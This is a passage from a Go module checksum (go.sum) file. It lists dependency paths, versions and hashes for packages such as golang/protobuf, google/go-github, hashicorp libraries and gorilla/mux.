h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0=\ngithub.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=\ngithub.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=\ngithub.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=\ngithub.com/go-logfmt/logfmt v0.5.1/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=\ngithub.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=\ngithub.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=\ngithub.com/go-ozzo/ozzo-validation v3.6.0+incompatible h1:msy24VGS42fKO9K1vLz82/GeYW1cILu7Nuuj1N3BBkE=\ngithub.com/go-ozzo/ozzo-validation v3.6.0+incompatible/go.mod h1:gsEKFIVnabGBt6mXmxK0MoFy+cZoTJY6mu5Ll3LVLBU=\ngithub.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=\ngithub.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=\ngithub.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=\ngithub.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=\ngithub.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=\ngithub.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=\ngithub.com/go-playground/validator/v10 v10.30.1 h1:f3zDSN/zOma+w6+1Wswgd9fLkdwy06ntQJp0BBvFG0w=\ngithub.com/go-playground/validator/v10 v10.30.1/go.mod h1:oSuBIQzuJxL//3MelwSLD5hc2Tu889bF0Idm9Dg26cM=\ngithub.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=\ngithub.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=\ngithub.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=\ngithub.com/go-test/deep v1.0.4/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA=\ngithub.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U=\ngithub.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE=\ngithub.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=\ngithub.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=\ngithub.com/gofri/go-github-ratelimit v1.1.1 h1:5TCOtFf45M2PjSYU17txqbiYBEzjOuK1+OhivbW69W0=\ngithub.com/gofri/go-github-ratelimit v1.1.1/go.mod h1:wGZlBbzHmIVjwDR3pZgKY7RBTV6gsQWxLVkpfwhcMJM=\ngithub.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=\ngithub.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=\ngithub.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=\ngithub.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=\ngithub.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=\ngithub.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=\ngithub.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 h1:f+oWsMOmNPc8JmEHVZIycC7hBoQxHH9pNKQORJNozsQ=\ngithub.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8/go.mod h1:wcDNUvekVysuuOpQKo3191zZyTpiI6se1N1ULghS0sw=\ngithub.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=\ngithub.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=\ngithub.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc=\ngithub.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=\ngithub.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=\ngithub.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=\ngithub.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=\ngithub.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=\ngithub.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=\ngithub.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=\ngithub.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=\ngithub.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=\ngithub.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=\ngithub.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=\ngithub.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=\ngithub.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=\ngithub.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=\ngithub.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=\ngithub.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=\ngithub.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=\ngithub.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=\ngithub.com/google/go-github/v75 v75.0.0 h1:k7q8Bvg+W5KxRl9Tjq16a9XEgVY1pwuiG5sIL7435Ic=\ngithub.com/google/go-github/v75 v75.0.0/go.mod h1:H3LUJEA1TCrzuUqtdAQniBNwuKiQIqdGKgBo1/M/uqI=\ngithub.com/google/go-github/v83 v83.0.0 h1:Ydy4gAfqxrnFUwXAuKl/OMhhGa0KtMtnJ3EozIIuHT0=\ngithub.com/google/go-github/v83 v83.0.0/go.mod h1:gbqarhK37mpSu8Xy7sz21ITtznvzouyHSAajSaYCHe8=\ngithub.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=\ngithub.com/google/go-querystring v1.2.0 h1:yhqkPbu2/OH+V9BfpCVPZkNmUXhb2gBxJArfhIxNtP0=\ngithub.com/google/go-querystring v1.2.0/go.mod h1:8IFJqpSRITyJ8QhQ13bmbeMBDfmeEJZD5A0egEOmkqU=\ngithub.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=\ngithub.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=\ngithub.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8=\ngithub.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=\ngithub.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=\ngithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=\ngithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=\ngithub.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ngithub.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=\ngithub.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=\ngithub.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8=\ngithub.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0=\ngithub.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY=\ngithub.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ=\ngithub.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=\ngithub.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=\ngithub.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=\ngithub.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=\ngithub.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ=\ngithub.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=\ngithub.com/hashicorp/go-getter/v2 v2.2.3 h1:6CVzhT0KJQHqd9b0pK3xSP0CM/Cv+bVhk+jcaRJ2pGk=\ngithub.com/hashicorp/go-getter/v2 v2.2.3/go.mod h1:hp5Yy0GMQvwWVUmwLs3ygivz1JSLI323hdIE9J9m7TY=\ngithub.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k=\ngithub.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M=\ngithub.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=\ngithub.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=\ngithub.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU=\ngithub.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk=\ngithub.com/hashicorp/go-safetemp v1.0.0 h1:2HR189eFNrjHQyENnQMMpCiBAsRxzbTMIgBhEyExpmo=\ngithub.com/hashicorp/go-safetemp v1.0.0/go.mod h1:oaerMy3BhqiTbVye6QuFhFtIceqFoDHxNAB65b+Rj1I=\ngithub.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY=\ngithub.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=\ngithub.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=\ngithub.com/hashicorp/hc-install v0.9.2 h1:v80EtNX4fCVHqzL9Lg/2xkp62bbvQMnvPQ0G+OmtO24=\ngithub.com/hashicorp/hc-install v0.9.2/go.mod h1:XUqBQNnuT4RsxoxiM9ZaUk0NX8hi2h+Lb6/c0OZnC/I=\ngithub.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=\ngithub.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=\ngithub.com/hashicorp/hcl/v2 v2.24.0 h1:2QJdZ454DSsYGoaE6QheQZjtKZSUs9Nh2izTWiwQxvE=\ngithub.com/hashicorp/hcl/v2 v2.24.0/go.mod h1:oGoO1FIQYfn/AgyOhlg9qLC6/nOJPX3qGbkZpYAcqfM=\ngithub.com/hashicorp/terraform-config-inspect v0.0.0-20260210152655-f4be3ba97d94 h1:p+oHuSCXvfFBFAejlPswDa7i5fi3r3+03jeW9mJs4qM=\ngithub.com/hashicorp/terraform-config-inspect v0.0.0-20260210152655-f4be3ba97d94/go.mod h1:Gz/z9Hbn+4KSp8A2FBtNszfLSdT2Tn/uAKGuVqqWmDI=\ngithub.com/huandu/xstrings v1.5.0 h1:2ag3IFq9ZDANvthTwTiqSSZLjDc+BedvHPAp5tJy2TI=\ngithub.com/huandu/xstrings v1.5.0/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=\ngithub.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=\ngithub.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=\ngithub.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=\ngithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A=\ngithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo=\ngithub.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=\ngithub.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA=\ngithub.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=\ngithub.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=\ngithub.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=\ngithub.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=\ngithub.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=\ngithub.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=\ngithub.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=\ngithub.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4=\ngithub.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=\ngithub.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=\ngithub.com/klauspost/compress v1.17.2 h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4=\ngithub.com/klauspost/compress v1.17.2/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=\ngithub.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=\ngithub.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=\ngithub.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=\ngithub.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=\ngithub.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=\ngithub.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA=\ngithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=\ngithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=\ngithub.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw=\ngithub.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s=\ngithub.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=\ngithub.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=\ngithub.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU=\ngithub.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8=\ngithub.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0=\ngithub.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=\ngithub.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ=\ngithub.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=\ngithub.com/moby/patternmatcher v0.6.0 h1:GmP9lR19aU5GqSSFko+5pRqHi+Ohk1O69aFiKkVGiPk=\ngithub.com/moby/patternmatcher v0.6.0/go.mod h1:hDPoyOpDY7OrrMDLaYoY3hf52gNCR/YOUYxkhApJIxc=\ngithub.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod 